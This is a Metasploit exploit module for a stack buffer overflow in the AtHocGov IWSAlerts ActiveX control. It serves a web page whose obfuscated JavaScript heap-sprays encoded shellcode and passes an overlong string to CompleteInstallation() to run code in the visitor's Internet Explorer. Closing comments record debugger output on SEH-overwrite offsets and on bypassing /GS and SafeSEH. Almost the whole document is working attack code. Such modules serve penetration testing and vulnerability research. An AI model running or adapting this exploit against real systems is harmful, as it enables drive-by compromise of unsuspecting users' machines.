## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll (6.1.4.36) an attacker may be able to execute arbitrary code. This vulnerability was silently patched by the vendor. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'OSVDB', '94557' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Feb 15 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2) js = %Q| try { var evil_string = ""; var index; var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000); for (index = 0; index < 12500; index++) { evil_string = evil_string + my_unescape('#{ret}'); } vulnerable.CompleteInstallation(evil_string); } catch( e ) { window.location = 'about:blank' ; } | opts = { 'Strings' => true, 'Symbols' => { 'Variables' => [ 'vulnerable', 'shellcode', 'my_unescape', 'index', 'evil_string', ] } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate() content = %Q| | print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end =begin IDL info... [id(0x00000022)] HRESULT CompleteInstallation([in] BSTR strParam); $~/trunk/./msfpescan -f AtHocGovTBr.dll AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165] AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159] // smash /GS $~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie SecurityCookie 0x4278193c // /SafeSEH, not today. $~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH SEHandlerTable 0x42774e40 SEHandlerCount 0x0000021b 0:000> !exchain 0013cae0: ntdll!_except_handler3+0 (7c90ee18) CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5) func: ntdll!RtlFreeHeap+617 (7c93bece) 0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944) 0013dd9c: 61473161 Invalid exception stack at 47306147 0:000> !pattern_offset 5140 0x47306147 [Byakugan] Control of 0x47306147 at offset 4680. 0:000> !pattern_offset 5140 0x61473161 [Byakugan] Control of 0x61473161 at offset 4684. =end